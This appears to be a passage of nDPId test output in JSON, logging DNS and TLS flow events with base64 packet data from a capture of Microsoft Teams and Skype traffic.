+00610{"flow_id":17,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":873,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041681,"pkt_ts_usec":744695,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"KDc3AG3IEBMx8Tl2CABFAAC9OkBAADkRg5jAqAEBwKgBBgA19oIAqQAAcuiBgAABAAMAAAAAB2V1LXByb2QHYXN5bmNndwV0ZWFtcwltaWNyb3NvZnQDY29tAAABAAHADAAFAAEAAAvAACoVYXNtLWFwaS1wcm9kLWV1LXRlYW1zDnRyYWZmaWNtYW5hZ2VyA25ldADAQQAFAAEAAAEsABoOd2V1MS1hcGktdGVhbXMIY2xvdWRhcHDAZsB3AAEAAQAAAAoABDRyS0Y="} +00685{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":873,"source":"teams.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":2,"flow_first_seen":1587041681714,"flow_last_seen":1587041681744,"flow_tot_l4_data_len":230,"flow_min_l4_data_len":61,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":115,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":63106,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Teams","breed":"Safe","category":"Collaborative"},"dns": {"query":"eu-prod.asyncgw.teams.microsoft.com","num_queries":1,"num_answers":3,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"52.114.75.70"}} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":874,"source":"teams.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1587041681745,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.75.70","src_port":60538,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":18,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":874,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041681,"pkt_ts_usec":745719,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAG+VHAqAEGNHJLRux6AbuCUaOxAAAAALAC\/\/8ErAAAAgQFtAEDAwUBAQgKMISsLQAAAAAEAgAA"} +00584{"flow_id":16,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":875,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041681,"pkt_ts_usec":754842,"pkt_caplen":182,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":182,"pkt_l4_len":148,"pkt":"KDc3AG3IEBMx8Tl2CABFAACo\/M1AADkRwR\/AqAEBwKgBBgA1x1kAlAAAiC2BgAABAAMAAAAABmV1LWFwaQNhc20Fc2t5cGUDY29tAAABAAHADAAFAAEAAAb4ACQPYXNtLWFwaS1wcm9kLWV1DnRyYWZmaWNtYW5hZ2VyA25ldADAMgAFAAEAAAEsABoOd2V1MS1hcGktc2t5cGUIY2xvdWRhcHDAUcBiAAEAAQAAAAUABDRyS0U="} +00666{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":875,"source":"teams.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":2,"flow_first_seen":1587041681714,"flow_last_seen":1587041681754,"flow_tot_l4_data_len":194,"flow_min_l4_data_len":46,"flow_max_l4_data_len":148,"flow_avg_l4_data_len":97,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":51033,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"eu-api.asm.skype.com","num_queries":1,"num_answers":3,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"52.114.75.69"}} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":876,"source":"teams.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1587041681755,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.75.69","src_port":60539,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":19,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":876,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041681,"pkt_ts_usec":755860,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAG+VLAqAEGNHJLRex7AbtPkLhOAAAAALAC\/\/8ixgAAAgQFtAEDAwUBAQgKMISsNwAAAAAEAgAA"} +00435{"flow_id":18,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":877,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041681,"pkt_ts_usec":772449,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8MUxAAG0Gmwk0cktGwKgBBgG77HoxlVjpglGjsqASIACccwAAAgQFoAEDAwgEAggKVud31zCErC0="} +00423{"flow_id":18,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":878,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041681,"pkt_ts_usec":772560,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG+V3AqAEGNHJLRux6AbuCUaOyMZVY6oAQEAnbCgAAAQEICjCErEZW53fX"} +00732{"flow_id":18,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":879,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041681,"pkt_ts_usec":772814,"pkt_caplen":292,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":292,"pkt_l4_len":258,"pkt":"EBMx8Tl2KDc3AG3ICABFAAEWAABAAEAG+HvAqAEGNHJLRux6AbuCUaOyMZVY6oAYEAmUUgAAAQEICjCErEZW53fXFgMBAN0BAADZAwO+LJEVwOHGYhKiVcLvt6A9rXWEi+VY68GJ4Pnee\/+sYQAAHLq6zKnMqMArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAACU6uoAAP8BAAEAAAAAKAAmAAAjZXUtcHJvZC5hc3luY2d3LnRlYW1zLm1pY3Jvc29mdC5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjEACwACAQAACgAKAAjq6gAdABcAGAAbAAMCAAL6+gABAA=="} +00746{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":879,"source":"teams.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":4,"flow_first_seen":1587041681745,"flow_last_seen":1587041681772,"flow_tot_l4_data_len":374,"flow_min_l4_data_len":32,"flow_max_l4_data_len":258,"flow_avg_l4_data_len":93,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.75.70","src_port":60538,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Teams","breed":"Safe","category":"Collaborative"},"tls": {"version":"TLSv1.2","client_requested_server_name":"eu-prod.asyncgw.teams.microsoft.com","ja3":"ebf5e0e525258d7a8dcb54aa1564ecbd","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00435{"flow_id":19,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":880,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041681,"pkt_ts_usec":786454,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8PqJAAGwGjrQ0cktFwKgBBgG77HsaOOK2T5C4T6ASIABGlgAAAgQFoAEDAwgEAggKVN17aDCErDc="} +00423{"flow_id":19,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":881,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041681,"pkt_ts_usec":786551,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG+V7AqAEGNHJLRex7AbtPkLhPGjjit4AQEAmFKgAAAQEICjCErFNU3Xto"} +00714{"flow_id":19,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":882,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041681,"pkt_ts_usec":786764,"pkt_caplen":277,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":277,"pkt_l4_len":243,"pkt":"EBMx8Tl2KDc3AG3ICABFAAEHAABAAEAG+IvAqAEGNHJLRex7AbtPkLhPGjjit4AYEAnBuAAAAQEICjCErFNU3XtoFgMBAM4BAADKAwNa\/jUh9W55wUB0tnlMq1eAEhrPfTr7oU\/DtVhV\/8e2AwAAHNrazKnMqMArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAACFGhoAAP8BAAEAAAAAGQAXAAAUZXUtYXBpLmFzbS5za3lwZS5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjEACwACAQAACgAKAAgqKgAdABcAGAAbAAMCAAJ6egABAA=="} +00728{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":882,"source":"teams.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":4,"flow_first_seen":1587041681755,"flow_last_seen":1587041681786,"flow_tot_l4_data_len":359,"flow_min_l4_data_len":32,"flow_max_l4_data_len":243,"flow_avg_l4_data_len":89,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.75.69","src_port":60539,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Skype","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1.2","client_requested_server_name":"eu-api.asm.skype.com","ja3":"ebf5e0e525258d7a8dcb54aa1564ecbd","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +02367{"flow_id":18,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":891,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041681,"pkt_ts_usec":802258,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUMU5AAG0GlW80cktGwKgBBgG77HoxlV6KglGklIAQBAXbeQAAAQEIClbnd\/MwhKxGsYFQCvPTWcgwCwYDVR0PBAQDAgSwMCgGA1UdEQQhMB+CHSouYXN5bmNndy50ZWFtcy5taWNyb3NvZnQuY29tMIGsBgNVHR8EgaQwgaEwgZ6ggZuggZiGS2h0dHA6Ly9tc2NybC5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvY3JsL01pY3Jvc29mdCUyMElUJTIwVExTJTIwQ0ElMjA1LmNybIZJaHR0cDovL2NybC5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvY3JsL01pY3Jvc29mdCUyMElUJTIwVExTJTIwQ0ElMjA1LmNybDBNBgNVHSAERjBEMEIGCSsGAQQBgjcqATA1MDMGCCsGAQUFBwIBFidodHRwOi8vd3d3Lm1pY3Jvc29mdC5jb20vcGtpL21zY29ycC9jcHMwHwYDVR0jBBgwFoAUCP4ln3TqhwTCvLuOqDhfM8bRbGUwHQYDVR0lBBYwFAYIKwYBBQUHAwIGCCsGAQUFBwMBMA0GCSqGSIb3DQEBCwUAA4ICAQA2X\/om4H+4\/cR81+swhscxS+n0lRF6\/9QaS3UJkZbRbKTCin3OgcYqSG9pYg6G1+1K1UtTBpsolwlA3Wj42xE7Uv4QpgEXC5f0oaTcFK1me59SUtzp5qGDrwX6WjG8Ktb6uYB5gEczE7C4PC+CFPM3paTb5H5cy9SB3sXBctpW9JL3Q4jgLf0RmKI+tU\/yzqXGVuQXEGhEGBnx2gx7c5jv9zuJnDG+h+fy0tJ8oKxrnU3\/YDtE5a8Gc9riCos64k1IwawJ2ex5sg6EIN6aZMm7jlbnY0GaYkT3Xzq9y\/pq48vIUbUNujVUDc5\/R\/SCSk\/dzf6G7\/xO1H5cZnPEC40ThKUvhXFO2qUKIhsUCjzJG5EdSNtcUv8eCyVsfCMB7dRsifQSwSDmGmM4n\/G81i0O9M4b2XZ+YaSEgJZmQx7Uh5AdoOqwYq2SqBhAihGJdwH2XMq283yNTDRqqo\/WVv2tQAJnjORm59j1r8dDWyuUfRzmyA\/balmQRC8\/yMgQswTFwP1y97tt4lyNjydBDOIBJv2TudKgtjqTbU59+fWu1pBkJP0+oPi5U7f32J4ZwXrKLU9tbuRaGYpYaW\/H8\/s8ycG4tlrTfTYH+M+FW9Y1DTTSC08bOYNW3zgFB64XvsPWTwevXfQWad0gfn6zMKIffJ0Woh7B4kndlMdWD8PoFQAFuDCCBbQwggScoAMCAQICEAiIzVJfGSRETRSlgpHeuVIwDQYJKoZIhvcNAQELBQAwWjELMAkGA1UEBhMCSUUxEjAQBgNVBAoTCUJhbHRpbW9yZTETMBEGA1UECxMKQ3liZXJUcnVzdDEiMCAGA1UEAxMZQmFsdGltb3JlIEN5YmVyVHJ1c3QgUm9vdDAeFw0xNjA1MjAxMjUzMDNaFw0yNDA1MjAxMjUzMDNaMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMRUwEwYDVQQLEwxNaWNyb3NvZnQgSVQxHjAcBgNVBAMTFU1pY3Jvc29mdCBJVCBUTFMgQ0EgNTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAJrfgVw7j67peZa5mnmngfI52lUoRiMCxYJmB7YV3v2cOhqbkQnSZo8LiRf4cYchfzjTP5olALc10Kv4CHo281Bb3yspJ96k3SSS+vTGcI02KprwgN41+h5CnQmBqtUHChalxVpCbUK+HkKCtFcwmVtFK9SP0woGxnOTpOGD78W\/BSeneM2zC+CeIhbzmNymFOjMlNcj+dBQmbu1CxCV8d8C6Y+OnVaZPNiP01j7XJJ+PXv4"} +02367{"flow_id":18,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":892,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041681,"pkt_ts_usec":802287,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUMU1AAG0GlXA0cktGwKgBBgG77HoxlVjqglGklIAQBAUZCwAAAQEIClbnd\/MwhKxGFgMDF2cCAABVAwNemFWRvAfOxj\/O2LS1GvKbLbSBGZz8VXg6KCdxioXd2iDMPAAAuPt+tyjvNYKaxBUbB7raSosgkzWm+0YaVQadbMAwAAANAAUAAAAXAAD\/AQABAAsADooADocACMkwggjFMIIGraADAgECAhMtAAND9wESkm\/sd3ORAAAAA0P3MA0GCSqGSIb3DQEBCwUAMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMRUwEwYDVQQLEwxNaWNyb3NvZnQgSVQxHjAcBgNVBAMTFU1pY3Jvc29mdCBJVCBUTFMgQ0EgNTAeFw0xODA2MTIxMTUyNDVaFw0yMDA2MTIxMTUyNDVaMCgxJjAkBgNVBAMMHSouYXN5bmNndy50ZWFtcy5taWNyb3NvZnQuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9uZE6YVmzh1ro\/4d8Zo+mVIUEDaUviyuYUeJe2UcdHKsHDSUdTQ273GJngjGhgUHAMwvq9w4DIyOUBwcveTFYCZWzVANdRsFsD39nLpXp3vseB5VUXnmXJq29gPKyJFpkrbimMnnEOki7t5nlA9Z2K+wtT1X+Z4mAoJsSkScanGPxLU8tNcdirpZ0\/tvH70adSNM5iFxsRFLblVIdVrqSBeeNgafOdZlIIGOv9P0ABMY7kxYKnw7S8oGlbB3U6ETluGBbgY1c8n6n6\/5011R8Q390xb8uiX78WpVL6NRdD2McwEdmJZUS5ppX\/9INS5YdaB\/lVrmNtlNRMwIco6t6QIDAQABo4IEgjCCBH4wggH1BgorBgEEAdZ5AgQCBIIB5QSCAeEB3wB3AO5Lvbd1zmC64UJpH6vhnmajD35fsHLYgwDEe4l6qP3LAAABY\/PgldcAAAQDAEgwRgIhAK4F5+xyAZ8PgWPavtk6ktZ1Mdq5zCcDAj1dU28RQakyAiEA4DkHuRE6HiTW8RE5rf\/suuvGjdxWguIuLXIbKDGvcIwAdQBVgdTCFpA2AUrqC5tXPFPwwOQ4eHAlCBcvo6odBxPTDAAAAWPz4JSyAAAEAwBGMEQCIEUKuHHg1cOu3ulDL23MIyS7vGphefBcWA43AQQTjyDEAiAwpImJzpyITltxVu+5E9RI6mCB4HmB+34SpNIgXnX3UQB1AG9Tdqwx8DEZ2JkApFEV\/3cVHBHZAsEAKQaNsgiaN9kTAAABY\/Pgk\/MAAAQDAEYwRAIgVkQLEK+aFME4Hb3costoQAwcLpeeMRkWlMpAVlvVKYwCIFBaS7ZLwxVX5ANaQxIs20s7ccOU9sO75sNDOPFjUiVzAHYAu9nfvB+KcbWTlCOXqpJ7RzhXlQqrUugakJZkNo4e0YUAAAFj8+CXzAAABAMARzBFAiBcPX96Y\/KYUQsVX6QdJU7x5hxNzu6nSgTjsrM4Wi0KDwIhANsnPYmqBlSVUmPKVKXLbePowV4E\/X0udEs\/42bFhpbcMCcGCSsGAQQBgjcVCgQaMBgwCgYIKwYBBQUHAwIwCgYIKwYBBQUHAwEwPgYJKwYBBAGCNxUHBDEwLwYnKwYBBAGCNxUIh9qGdYPu2QGCyYUbgbWeYYX062CBXYTS30KC55N6AgFkAgEdMIGFBggrBgEFBQcBAQR5MHcwUQYIKwYBBQUHMAKGRWh0dHA6Ly93d3cubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL01pY3Jvc29mdCUyMElUJTIwVExTJTIwQ0ElMjA1LmNydDAiBggrBgEFBQcwAYYWaHR0cDovL29jc3AubXNvY3NwLmNvbTAdBgNVHQ4EFgQUC8G3iHj\/iQZjMtUq"} +02380{"flow_id":18,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":893,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041681,"pkt_ts_usec":802295,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUMU9AAG0GlW40cktGwKgBBgG77HoxlWQqglGklIAQBAUxzQAAAQEIClbnd\/MwhKxGUEla9xB7d\/jmSpBKVVLelK10CaBkVyzNB5CfFq2Vw9EGuvHvbAW1BKyp3Bsxmw4tGZUET95my601cq8ZggiyFDoWX7A8m9uNDLAC1iYf6BVxxO\/5YzlDjOnCki6hwqAwJQ6WJ1+eoyuC1hC9PBkepof+VSE6XEH8AZjML5L\/Zji0uGacDxJoS0qshrtemP+eppxTbDMRpNCuUkfXi4\/xlqy5KZqPLPGtZBjDJrsAZN5QcMC77MZrrtOg78DxXA3yzHpZ2hgzL1kQrWcULF8iQ0pE4ejd4OdVFk4J7wNMDEhQWvAD347vY8pbZ4dDQCwGth8PPlPAZj\/XFBXmCGKYSH6D5ae1XVEtVC1h\/TRd1LeAzdJ9zrEkO\/OXbGwT3ooXyYr1SJVC9xKQ4xAX9qEAxTYqZZGeBexCLlq4mRv\/1E61+mZV2YOOvwgpjfoLAgMBAAGjggFCMIIBPjAdBgNVHQ4EFgQUCP4ln3TqhwTCvLuOqDhfM8bRbGUwHwYDVR0jBBgwFoAU5Z1ZMIJHWMys+ghUNoZ7OrUETfAwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAYYwJwYDVR0lBCAwHgYIKwYBBQUHAwEGCCsGAQUFBwMCBggrBgEFBQcDCTA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTA6BgNVHR8EMzAxMC+gLaArhilodHRwOi8vY3JsMy5kaWdpY2VydC5jb20vT21uaXJvb3QyMDI1LmNybDA9BgNVHSAENjA0MDIGBFUdIAAwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzANBgkqhkiG9w0BAQsFAAOCAQEAPvLPMKV6vx5q3zlYGCg8w53u54HFS\/xn9r8fTjfa3vCv7or5A3tgZ3THO9r\/K0rr\/VR1E4vlwoESulISILopijrNQyTM1RcF\/pwWP3PgbUHAdj3yq0jFWWJkukRPChiCP0HqPxg6WOegMFd19dFqMRS2lJll2rboAd7kq\/u18+UZChhfpAJX3rZcJm9z\/i4J9QhDxA\/HJH+dKGdlodxb8Dr9+HCF56VPJN5CPx1EO12FBoUdHhzU2U5R5P0eERbMngDZlxqX42XHhjUbU3a+MtEsQUlLoz6TDFt3VwcwPDWLjNFpoif6VeirnRAe0RffumyJ08lb1wuUiKnYtJXXjhYABysBAAcnMIIHIwoBAKCCBxwwggcYBgkrBgEFBQcwAQEEggcJMIIHBTCBx6IWBBQodwHOZZ6LuFUo+CvPI9\/FvHYaTBgPMjAyMDA0MTUyMTU3NDhaMIGbMIGYMEwwCQYFKw4DAhoFAAQUKYX8YT2+L7ASD15CDkyew9We\/XwEFAj+JZ906ocEwry7jqg4XzPG0WxlAhMtAAND9wESkm\/sd3ORAAAAA0P3gAAYDzIwMjAwNDE1MjE1NzQ4WqARGA8yMDIwMDQxOTIxNTc0OFqhIjAgMB4GCSsGAQUFBzABBgQRGA8yMDE5MDQxNjIxNTc0OFowDQYJKoZIhvcNAQELBQADggEBAIqBVwyEEXU6DdYDkoqozQrVQ3FRKIupPdre3a2OvDuPW67S6m+tIdeZ+Zw9LPj+fsyi8jf2W8ZWZc4ClcyDblg9\/4QFNtwVQXl\/inU56UYBHMz0qJ+TlvszBwql1\/mJBV01cH5ActofnFMnyNGINyReu+UvHJO6dh1AH4X4rEowHHpl+4s\/zexMBK1xfIDEwT\/2vFdefuv46V0LNIY8NDUYTnWXdDZPMP9v2chYYDkVgXP0Tvyu\/anOPVEkkZ\/uySkMtjbbQW5NAC934A6s58ZNbyf\/qkweMbyXW5vDLaf7E\/7QvopkhMOF\/1Jz"} +02364{"flow_id":18,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":894,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041681,"pkt_ts_usec":802315,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUMVBAAG0GlW00cktGwKgBBgG77HoxlWnKglGklIAQBAXYgAAAAQEIClbnd\/MwhKxGn1Qet5YvmxEJQA2HbHgnngQuAR2gggUjMIIFHzCCBRswggMDoAMCAQICE24AFdNPBmaWWBEkr9EAAAAV008wDQYJKoZIhvcNAQELBQAwgYsxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNyb3NvZnQgQ29ycG9yYXRpb24xFTATBgNVBAsTDE1pY3Jvc29mdCBJVDEeMBwGA1UEAxMVTWljcm9zb2Z0IElUIFRMUyBDQSA1MB4XDTIwMDQwMjE2NTgwOVoXDTIxMDQwMjE2NTgwOVowKzEpMCcGA1UEAwwgTWljcm9zb2Z0X0lUX1RMU19DQV81X0tleUJpbmRpbmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC3vbFFZga\/POcMNPw1dgv2un35hrdvRno\/bBLdqRDnw10YI02qHluRhaXn0ywENQe\/0R\/7DYJrN1STc3KeGjgTy+l0QKHrulfQbrYNkE6IWaW4E0pu4LnDLSoWm4NmJ+4Jov8kiKgf6pnHDWf1P4iU9huFQi30sRZshzPc0q9UCMvba4Jsh7h+BB6JFBjoJAw46Iom9tUbSOL6u1zzr4zGGGXhZP+gDSsQX+uQHIyTZU5KE+bs5h2Q8Hglp1KxjESVB0lCpm1nsPHVCgjumm5i+nCLOz1uTn+qk9tk5fZ98Q2Ztg9fwgQigcia\/D53k4K6OFwfw0PzLYPcAS3dg7JLAgMBAAGjgdYwgdMwHQYDVR0OBBYEFCh3Ac5lnou4VSj4K88j38W8dhpMMA4GA1UdDwEB\/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDCTAPBgkrBgEFBQcwAQUEAgUAMB8GA1UdIwQYMBaAFAj+JZ906ocEwry7jqg4XzPG0WxlMD4GCSsGAQQBgjcVBwQxMC8GJysGAQQBgjcVCIfahnWD7tkBgsmFG4G1nmGF9OtggV2BzJtHgcjpFgIBZAIBBzAbBgkrBgEEAYI3FQoEDjAMMAoGCCsGAQUFBwMJMA0GCSqGSIb3DQEBCwUAA4ICAQBl5aandQ99EtkjJSQg4\/erMAO+8kd6xjrcNzbKdJmdXDLCCNx4V\/6T7JABdTiq20PBxVuXxEDFndNHE4r+3H25iZpq+0SbezCH2HkHsMK+Yhd+qwkmVGkr84UZ9x\/j0E0FlcmTLn1\/xh8nj2GyImJZyFyUQLPanTgh6OVjauPMIyeAIxPZukDNgGwleiYBsqxVGXTsthPgIuF0gget36zJN653KOQx8lvfjL6rHF4MK91358sodyvFRqjdlex3vDPeaTURZBVpOj4x3f8QJS8Q7laNeMh7rJwqiayWnB74QW3oyOCK3lM7FncffccA0ji9Pnc9E2jIpmGQThL2IUJnN8JNZ6ewmRmmeUswAEThqo1ABfplT\/NqlsAZL0s9NqIq\/1HLWAwpquytNt2cXnCKfACZWHCprz208rNt8GThXTjIE90MnYOMVMtqdNDcQsaqEqqqZy+uy4eCE7Z31qTUc\/XcTHELT6Lj4auGohTDJbF2OeJQmXKV436KIhooSDqO+tUcVatHc9S0NujxMRpwTIX3pzzFdyM9WdRWuFUj77Z2+rI2kxnwAIkAPD0kQTyBOiinMYeWqObfpp2Vu9pkDXQbGz4H+dDHtrs15bXvHVFWI7ZEYk6TiUdJiTMkvMBfEV34nqJyDHYnMUGJWTuOhvWrrR7OQQwN9pF2c9cVDwwAAUkDABdBBO+QKUiBSZhLWNy3tvXi2wpueoBvu0K+6OxpotGzkdnkxc2+TDc5r8W7tAbxMGYLNDLCthpHASq2UGk93krzBm8EAQEAm9OI1pXuCJ6kOmQN\/sjKRXm5AMNzGOeP"} +00750{"flow_id":18,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":895,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041681,"pkt_ts_usec":802317,"pkt_caplen":302,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":302,"pkt_l4_len":268,"pkt":"KDc3AG3IEBMx8Tl2CABFAAEgMVFAAG0GmiA0cktGwKgBBgG77HoxlW9qglGklIAYBAWUqQAAAQEIClbnd\/MwhKxG3ueO4RFj+c8GEWZqZ2ovmlySwoou222o9uG3S2GrB1TfiWZLWZVissMZEKj22iCLiOSMDLRfrYOYclJv+d+871WdAeCW3f0oejs+a5PLWILQOxN1oJUmkzygCfKvgb0GTQZa4zf7vuGEH+a9IHNMZPFTq52DrUJ2zRbLbWITFYCD7IgBrczHOWvPH1ug3jIaaD2PdYvFV+\/lwr\/7oOvoj\/NFH9sKjIdd18UnE4QERIUspogHtp2gCNVnFCK6UG1hMOqHExEk\/B8blqIWUhvX\/b7W9\/zleE